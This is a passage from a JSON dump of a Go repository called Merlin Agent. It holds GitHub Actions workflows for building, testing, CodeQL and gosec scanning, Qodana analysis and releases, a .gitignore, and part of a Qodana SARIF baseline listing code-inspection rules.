[
  {
    "path": ".gitattributes",
    "content": "*.go linguist-language=Go"
  },
  {
    "path": ".github/workflows/build.yml",
    "content": "# This workflow will build a golang project\n# For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-go\n\nname: \"Merlin Agent Build & Test\"\n\non:\n  workflow_dispatch:\n  push:\n    paths-ignore:\n      - '.github/**'\n      - 'docs/**'\n      - '.gitattributes'\n      - '.gitignore'\n      - 'LICENSE'\n      - 'README.MD'\n  pull_request:\n    paths-ignore:\n      - '.github/**'\n      - 'docs/**'\n      - '.gitattributes'\n      - '.gitignore'\n      - 'LICENSE'\n      - 'README.MD'\n\njobs:\n  build:\n    name: 'Build Job'\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Repository\n        id: checkout\n        uses: actions/checkout@v4\n\n      - name: Set up Go\n        uses: actions/setup-go@v4\n        with:\n          go-version: '1.21'\n          check-latest: true\n\n      - name: 'Test Merlin Agent'\n        id: test\n        run: 'go test ./...'\n\n      - name: 'Build Merlin Agent'\n        id: build\n        run: 'make all'\n"
  },
  {
    "path": ".github/workflows/codeql.yml",
    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\n#\n# ******** NOTE ********\n# We have attempted to detect the languages in your repository. Please check\n# the `language` matrix defined below to confirm you have the correct set of\n# supported CodeQL languages.\n#\n\n# This is \"Advanced\" because it is using this codeql.yml workflow and not using GitHub's built-in \"Default\" CodeQL workflow\nname: \"CodeQL Advanced\"\n\non:\n  workflow_dispatch:\n  push:\n    paths-ignore:\n      - '.github/**'\n      - 'docs/**'\n      - '.gitattributes'\n      - '.gitignore'\n      - 'go.mod'\n      - 'go.sum'\n      - 'LICENSE'\n      - 'Makefile'\n      - 'README.MD'\n  pull_request:\n    branches: [ \"main\", \"dev\" ]\n    paths-ignore:\n      - '.github/**'\n      - 'docs/**'\n      - '.gitattributes'\n      - '.gitignore'\n      - 'go.mod'\n      - 'go.sum'\n      - 'LICENSE'\n      - 'Makefile'\n      - 'README.MD'\n  schedule:\n    - cron: '32 7 * * 4'\n\njobs:\n  analyze:\n    name: Analyze\n    # Runner size impacts CodeQL analysis time. To learn more, please see:\n    #   - https://gh.io/recommended-hardware-resources-for-running-codeql\n    #   - https://gh.io/supported-runners-and-hardware-resources\n    #   - https://gh.io/using-larger-runners\n    # Consider using larger runners for possible analysis time improvements.\n    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}\n    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n\n    strategy:\n      fail-fast: false\n      matrix:\n        language: [ 'go' ]\n        # CodeQL supports [ 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' ]\n        # Use only 'java-kotlin' to analyze code written in Java, Kotlin or both\n        # Use only 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both\n        # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v4\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v3\n      with:\n        languages: ${{ matrix.language }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file.\n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n\n        # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs\n        # queries: security-extended,security-and-quality\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v3\n      with:\n        category: \"/language:${{matrix.language}}\"\n\n    - name: GoVulnCheck\n      id: govulncheck\n      uses: golang/govulncheck-action@v1\n      with:\n        go-package: './...'\n\n    - name: Gosec Security Scanner\n      id: gosec\n      uses: securego/gosec@master\n      with:\n        args: ./...\n\n    - name: Go Report Card - Install\n      id: goreportcard_install\n      working-directory: /tmp\n      run: |\n        git clone https://github.com/gojp/goreportcard.git\n        cd goreportcard\n        make install\n        go install ./cmd/goreportcard-cli\n\n    - name: Go Report Card - Run\n      id: goreportcard_run\n      run: 'goreportcard-cli -v' # This renames the files in the ./rpc directory to *.grc.bak causing builds to fail"
  },
  {
    "path": ".github/workflows/qodana.yml",
    "content": "name: \"Qodana: Push\"\non:\n  workflow_dispatch:\n  push:\n    paths-ignore:\n      - '.github/**'\n      - '.qodana/**'\n      - 'docs/**'\n      - '.gitattributes'\n      - '.gitignore'\n      - 'Dockerfile'\n      - 'go.mod'\n      - 'go.sum'\n      - 'LICENSE'\n      - 'Makefile'\n      - 'qodana.yaml'\n      - 'README.MD'\n\njobs:\n  qodana:\n    name: 'Qodana Job'\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n      pull-requests: write\n      checks: write\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}  # to check out the actual pull request commit, not the merge commit\n          fetch-depth: 0  # a full history is required for pull request analysis\n      - name: 'Qodana Scan'\n        uses: JetBrains/qodana-action@v2023.3\n        env:\n          QODANA_TOKEN: ${{ secrets.QODANA_TOKEN }}\n        with:\n          args: --baseline,.qodana/qodana.sarif.json\n"
  },
  {
    "path": ".github/workflows/qodana_pr.yml",
    "content": "name: \"Qodana: Pull Request\"\n\non:\n  workflow_dispatch:\n  pull_request:\n    paths-ignore:\n      - '.github/**'\n      - '.qodana/**'\n      - 'data/**'\n      - 'docs/**'\n      - '.gitattributes'\n      - '.gitignore'\n      - '.gitmodules'\n      - 'Dockerfile'\n      - 'LICENSE'\n      - 'Makefile'\n      - 'qodana.yaml'\n      - 'README.MD'\n\njobs:\n  qodana:\n    name: 'Qodana Job'\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n      pull-requests: write\n      checks: write\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}  # to check out the actual pull request commit, not the merge commit\n          fetch-depth: 0  # a full history is required for pull request analysis\n      - name: 'Qodana Scan'\n        uses: JetBrains/qodana-action@v2023.3\n        with:\n          args: -l,jetbrains/qodana-go:2023.3-eap,--baseline,.qodana/qodana.sarif.json\n          pr-mode: false"
  },
  {
    "path": ".github/workflows/release.yml",
    "content": "name: \"Merlin Agent Release\"\n\non:\n  workflow_dispatch:\n  push:\n    branches:\n      - \"main\"\n    tags:\n      - 'v*.*.*'\n\njobs:\n  release:\n    name: 'Release Job'\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Repository\n        id: checkout\n        uses: actions/checkout@v4\n\n      - name: Set up Go\n        id: setup_go\n        uses: actions/setup-go@v4\n        with:\n          go-version: '1.21'\n          check-latest: true\n\n      - name: Install 7zip\n        id: install_7zip\n        run: sudo apt-get install p7zip-full\n\n      - name: Make Distribution\n        id: make_distro\n        run: make distro\n\n      - name: Create Draft Release\n        id: create_draft_release\n        uses: ncipollo/release-action@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        with:\n          tag: ${{ github.ref_name }}\n          name: ${{ github.ref_name }}\n          draft: true\n          prerelease: false\n          artifactErrorsFailBuild: true\n          artifacts: '*.7z'"
  },
  {
    "path": ".gitignore",
    "content": ".DS_STORE\n.idea/\nagent/data\nbin"
  },
  {
    "path": ".qodana/qodana.sarif.json",
    "content": "{\n  \"$schema\": \"https://raw.githubusercontent.com/schemastore/schemastore/master/src/schemas/json/sarif-2.1.0-rtm.5.json\",\n  \"version\": \"2.1.0\",\n  \"runs\": [\n    {\n      \"tool\": {\n        \"driver\": {\n          \"name\": \"QDGO\",\n          \"fullName\": \"Qodana for Go\",\n          \"version\": \"233.13017.73\",\n          \"rules\": [],\n          \"taxa\": [\n            {\n              \"id\": \"JavaScript and TypeScript\",\n              \"name\": \"JavaScript and TypeScript\"\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Control flow issues\",\n              \"name\": \"Control flow issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"EditorConfig\",\n              \"name\": \"EditorConfig\"\n            },\n            {\n              \"id\": \"Go\",\n              \"name\": \"Go\"\n            },\n            {\n              \"id\": \"Go/Probable bugs\",\n              \"name\": \"Probable bugs\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go\",\n                    \"index\": 3,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Go/Declaration redundancy\",\n              \"name\": \"Declaration redundancy\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go\",\n                    \"index\": 3,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Shell script\",\n              \"name\": \"Shell script\"\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Unit testing\",\n              \"name\": \"Unit testing\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JSON and JSON5\",\n              \"name\": \"JSON and JSON5\"\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/General\",\n              \"name\": \"General\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Code style issues\",\n              \"name\": \"Code style issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n              \"name\": \"Potentially undesirable code constructs\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Flow type checker\",\n              \"name\": \"Flow type checker\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Probable bugs\",\n              \"name\": \"Probable bugs\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"HTML\",\n              \"name\": \"HTML\"\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Unused symbols\",\n              \"name\": \"Unused symbols\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Data flow\",\n              \"name\": \"Data flow\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Bitwise operation issues\",\n              \"name\": \"Bitwise operation issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/ES2015 migration aids\",\n              \"name\": \"ES2015 migration aids\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"General\",\n              \"name\": \"General\"\n            },\n            {\n              \"id\": \"HTML/Accessibility\",\n              \"name\": \"Accessibility\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"HTML\",\n                    \"index\": 14,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/React\",\n              \"name\": \"React\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/TypeScript\",\n              \"name\": \"TypeScript\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Validity issues\",\n              \"name\": \"Validity issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n              \"name\": \"Potentially confusing code constructs\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"CSS\",\n              \"name\": \"CSS\"\n            },\n            {\n              \"id\": \"CSS/Invalid elements\",\n              \"name\": \"Invalid elements\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"CSS\",\n                    \"index\": 25,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Try statement issues\",\n              \"name\": \"Try statement issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Structural search\",\n              \"name\": \"Structural search\"\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Function metrics\",\n              \"name\": \"Function metrics\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Dependency analysis\",\n              \"name\": \"Dependency analysis\"\n            },\n            {\n              \"id\": \"Go/Code style issues\",\n              \"name\": \"Code style issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go\",\n                    \"index\": 3,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"YAML\",\n              \"name\": \"YAML\"\n            },\n            {\n              \"id\": \"XML\",\n              \"name\": \"XML\"\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Assignment issues\",\n              \"name\": \"Assignment issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"CSS/Code style issues\",\n              \"name\": \"Code style issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"CSS\",\n                    \"index\": 25,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Go/Security\",\n              \"name\": \"Security\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go\",\n                    \"index\": 3,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"RegExp\",\n              \"name\": \"RegExp\"\n            },\n            {\n              \"id\": \"Go/General\",\n              \"name\": \"General\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go\",\n                    \"index\": 3,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Node.js\",\n              \"name\": \"Node.js\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Go Template\",\n              \"name\": \"Go Template\"\n            },\n            {\n              \"id\": \"Go Template/General\",\n              \"name\": \"General\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go Template\",\n                    \"index\": 40,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Imports and dependencies\",\n              \"name\": \"Imports and dependencies\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"RELAX NG\",\n              \"name\": \"RELAX NG\"\n            },\n            {\n              \"id\": \"Code Coverage\",\n              \"name\": \"Code Coverage\"\n            },\n            {\n              \"id\": \"CSS/Probable bugs\",\n              \"name\": \"Probable bugs\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"CSS\",\n                    \"index\": 25,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Naming conventions\",\n              \"name\": \"Naming conventions\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n              \"name\": \"Switch statement issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/DOM issues\",\n              \"name\": \"DOM issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Async code and promises\",\n              \"name\": \"Async code and promises\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Go/Control flow issues\",\n              \"name\": \"Control flow issues\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go\",\n                    \"index\": 3,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Code quality tools\",\n              \"name\": \"Code quality tools\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Proofreading\",\n              \"name\": \"Proofreading\"\n            },\n            {\n              \"id\": \"Go modules\",\n              \"name\": \"Go modules\"\n            },\n            {\n              \"id\": \"Go modules/Declaration redundancy\",\n              \"name\": \"Declaration redundancy\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go modules\",\n                    \"index\": 53,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Security\",\n              \"name\": \"Security\"\n            },\n            {\n              \"id\": \"CSS/Code quality tools\",\n              \"name\": \"Code quality tools\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"CSS\",\n                    \"index\": 25,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Go modules/Dependency issues (go list -m -u)\",\n              \"name\": \"Dependency issues (go list -m -u)\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go modules\",\n                    \"index\": 53,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Go modules/General\",\n              \"name\": \"General\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"Go modules\",\n                    \"index\": 53,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Qodana\",\n              \"name\": \"Qodana\"\n            },\n            {\n              \"id\": \"JavaScript and TypeScript/Security\",\n              \"name\": \"Security\",\n              \"relationships\": [\n                {\n                  \"target\": {\n                    \"id\": \"JavaScript and TypeScript\",\n                    \"index\": 0,\n                    \"toolComponent\": {\n                      \"name\": \"QDGO\"\n                    }\n                  },\n                  \"kinds\": [\n                    \"superset\"\n                  ]\n                }\n              ]\n            },\n            {\n              \"id\": \"Internationalization\",\n              \"name\": \"Internationalization\"\n            },\n            {\n              \"id\": \"Version control\",\n              \"name\": \"Version control\"\n            }\n          ],\n          \"language\": \"en-US\",\n          \"contents\": [\n            \"localizedData\",\n            \"nonLocalizedData\"\n          ],\n          \"isComprehensive\": false\n        },\n        \"extensions\": [\n          {\n            \"name\": \"JavaScript\",\n            \"version\": \"233.13017\",\n            \"rules\": [\n              {\n                \"id\": \"ConstantConditionalExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Constant conditional expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a conditional expression in the format 'true? result1: result2' or 'false? result1: result2. Suggests simplifying the expression.'\",\n                  \"markdown\": \"Reports a conditional expression in the format `true? result1: result2` or `false? result1: result2``.\\nSuggests simplifying the expression.\\n`\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ConstantConditionalExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSTestFailedLine\",\n                \"shortDescription\": {\n                  \"text\": \"Highlight failure line in test code\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a failed method call or an assertion in a test.\",\n                  \"markdown\": \"Reports a failed method call or an assertion in a test.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSTestFailedLine\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Unit testing\",\n                      \"index\": 7,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"IfStatementWithTooManyBranchesJS\",\n                \"shortDescription\": {\n                  \"text\": \"'if' statement with too many branches\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an 'if' statement with too many branches. Such statements may be confusing, and often indicate inadequate levels of design abstraction. Use the field below to specify the maximum number of branches expected.\",\n                  \"markdown\": \"Reports an `if` statement with too many branches. Such statements may be confusing, and often indicate inadequate levels of design abstraction.\\n\\n\\nUse the field below to specify the maximum number of branches expected.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"IfStatementWithTooManyBranchesJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSValidateJSDoc\",\n                \"shortDescription\": {\n                  \"text\": \"Syntax errors and unresolved references in JSDoc\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a syntax discrepancy in a documentation comment.\",\n                  \"markdown\": \"Reports a syntax discrepancy in a documentation comment.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSValidateJSDoc\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NonBlockStatementBodyJS\",\n                \"shortDescription\": {\n                  \"text\": \"Statement body without braces\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'if', 'while', 'for', or 'with' statements whose body is not a block statement. Using code block in statement bodies is usually safer for downstream maintenance.\",\n                  \"markdown\": \"Reports a `if`, `while`, `for`, or `with` statements whose body is not a block statement. Using code block in statement bodies is usually safer for downstream maintenance.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NonBlockStatementBodyJS\",\n                    